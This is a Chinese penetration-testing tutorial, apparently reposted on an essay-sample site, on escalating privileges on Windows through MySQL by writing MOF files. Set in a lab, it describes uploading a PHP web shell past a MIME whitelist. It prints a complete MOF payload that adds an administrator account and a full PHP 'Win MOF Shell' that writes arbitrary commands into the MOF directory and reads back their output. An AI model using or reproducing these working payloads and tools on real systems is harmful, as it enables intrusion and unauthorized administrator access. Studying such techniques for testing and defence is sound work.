1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 113.网络安全渗透测试—[权限提升篇11]—[Windows Mysql MOF提权]

113.网络安全渗透测试—[权限提升篇11]—[Windows Mysql MOF提权]

时间:2024-05-02 03:07:49

相关推荐

113.网络安全渗透测试—[权限提升篇11]—[Windows  Mysql MOF提权]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

1、mof提权原理:2、mof提权限制:3、mof提权过程:(1)实验环境:(2)靶机链接:(3)实验过程:附:上传mof.php脚本,自动写入mof文件

1、mof提权原理:

mof是windows系统的一个文件,存储在c:/windows/system32/wbem/mof/nullevt.mof,叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。然而提权的原理就是在拥有了mysql的root权限以后(其实就是获得了MySQL的启动身份),然后使用该权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs脚本段大多数写的是cmd的添加管理员用户的命令。

2、mof提权限制:

(1)操作系统版本:Windows Server 及以下版本;

(2)有MySQL数据库的连接数据;

(3)MySQL的配置文件my.ini中的secure-file-priv参数要为空(这个空不是NULL);

(4)MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录;

如下所图所示,在靶机设置MySQL启动用户可以对mof文件夹进行完全控制:

3、mof提权过程:

(1)实验环境:

1.靶机环境:(1)虚拟机WindowsServer【】【192.168.97.132】(2)脚本语言环境:php/asp语言环境存在2.攻击机:(1)虚拟机Win7【192.168.97.130】(2)Firefox+Burpsuite+蚁剑+大马3.网络环境:(1)VMware搭建的NAT网络

(2)靶机链接:

URL:/upload_4.php

(3)实验过程:

第一步:访问靶机链接,通过MIME类型突破白名单限制,上传php一句话,蚁剑连接。

【图略】【假设此时获得了数据库的连接数据:root/zkeys】

第二步:通过蚁剑连接数据库root/zkeys

第三步:查看当前用户、查看secure-file-priv参数是否为空

第四步:上传nullevt.mof文件到靶机的c:\recycler文件夹下,然后写入到c:/windows/system32/wbem/mof/nullevt.mof文件夹下

nullevt.mof文件如下所示,第十八行是我们要执行的系统命令,第九行是5秒执行一次该文件。

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test01 123 /add\")\nWSH.run(\"net.exe localgroup administrators test01 /add\")"; }; instance of __FilterToConsumerBinding {Consumer = $Consumer; Filter = $EventFilter; };

如下图所示,成功上传nullevt.mof文件到C:/RECYCLER目录下:

如下图所示,写入文件失败:

如下图所示,我们需要在靶机设置mof文件夹的权限,也就是给MySQL的启动用户赋予完全控制mof文件夹以及子文件夹的权限:

如下图所示,再次写入,成功!!!

如下图所示,在靶机上检查,发现mof文件实则写入到了mof文件夹下的good目录下,且也成功的创建了test01管理员组用户:

附:上传mof.php脚本,自动写入mof文件

mof.php脚本如下所示,该脚本功能是接收用户传来的cmd命令后再写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下:其中第一行是成功执行命令的标志、第五十二行是我们写入到靶机mof文件夹下的mof文件名、第四十行是我们input输入框输入的cmd命令。。。。。。。。。。。。

<?php$path="c:/windows/system32/correct";session_start();if(!empty($_POST['submit'])){setcookie("connect");setcookie("connect[host]",$_POST['host']);setcookie("connect[user]",$_POST['user']);setcookie("connect[pass]",$_POST['pass']);setcookie("connect[dbname]",$_POST['dbname']);echo "<script>location.href='?action=connect'</script>";}if(empty($_GET["action"])){?><html><head><title>Win MOF Shell</title></head><body><form action="?action=connect" method="post">Host:<input type="text" name="host" value="127.0.0.1"><br/>User:<input type="text" name="user" value="root"><br/>Pass:<input type="password" name="pass" value=""><br/>DB:<input type="text" name="dbname" value="mysql"><br/><input type="submit" name="submit" value="Go Go Go"><br/></form></body></html><?phpexit;}if ($_GET[action]=='connect'){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');echo "<form action='' method='post'>";echo "CMD命令:";echo "<input type='text' name='cmd' value='$strCmd'?>";echo "<br>";echo "<br>";echo "<input type='submit' value='填写CMD后Exploit'>";echo "</form>";echo "<form action='' method='post'>";echo "<input type='hidden' name='flag' value='flag'>";echo "<input type='submit'value=' Check '>";echo "</form>";if (isset($_POST['cmd'])){$strCmd=$_POST['cmd'];$cmdshell='cmd /c '.$strCmd.'>'.$path;$mofname="c:/windows/system32/wbem/mof/qwsn.mof";$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")instance of __EventFilter as \$EventFilter{EventNamespace = \"Root\\\\\\\\Cimv2\";Name = \"filtP2\";Query = \"Select * From __InstanceModificationEvent \"\"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"\"And TargetInstance.Second = 5\";QueryLanguage = \"WQL\";};instance of ActiveScriptEventConsumer as \$Consumer{Name = \"consPCSV2\";ScriptingEngine = \"JScript\";ScriptText =\"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";};instance of __FilterToConsumerBinding{Consumer = \$Consumer;Filter = \$EventFilter;};";mysql_select_db($_COOKIE["connect"]["dbname"],$conn);$sql1="select '$payload' into dumpfile '$mofname';";if(mysql_query($sql1))echo "<hr>Execute Successful!<br> Please click the Check button to check the result!!<br>If the result is not correct,try check again later<br><hr>"; else die(mysql_error());mysql_close($conn);}if(isset($_POST['flag'])){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');$sql2="select load_file(\"".$path."\");";$result2=mysql_query($sql2);$num=mysql_num_rows($result2);while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {echo "<hr/>";echo '<pre>'. $row[0].'</pre>';}mysql_close($conn);}}?>

第一步:上传mof.php文件到文件上传upfile目录下:

第二步:访问我们刚刚上传的mof.php脚本,填写数据库连接数据,然后点击Go进入。

第三步:在mof.php脚本页面,通过form表单传入我们要执行的命令,然后点击Exploit写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下,最后点击Check检查是否成功的执行命令。

如下图所示,我们填写好CMD命令:net.exe user test02 123 /add && net.exe localgroup administrators test02 /add

如下图所示,点击Exploit按钮后,提示成功写入mof文件:

如下图所示,等待5s后,点击Check按钮,显示命令成功完成:

如下图所示,我们在靶机上检查,发现qwsn.mof成功写入,并且test02管理员组用户成功创建:

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。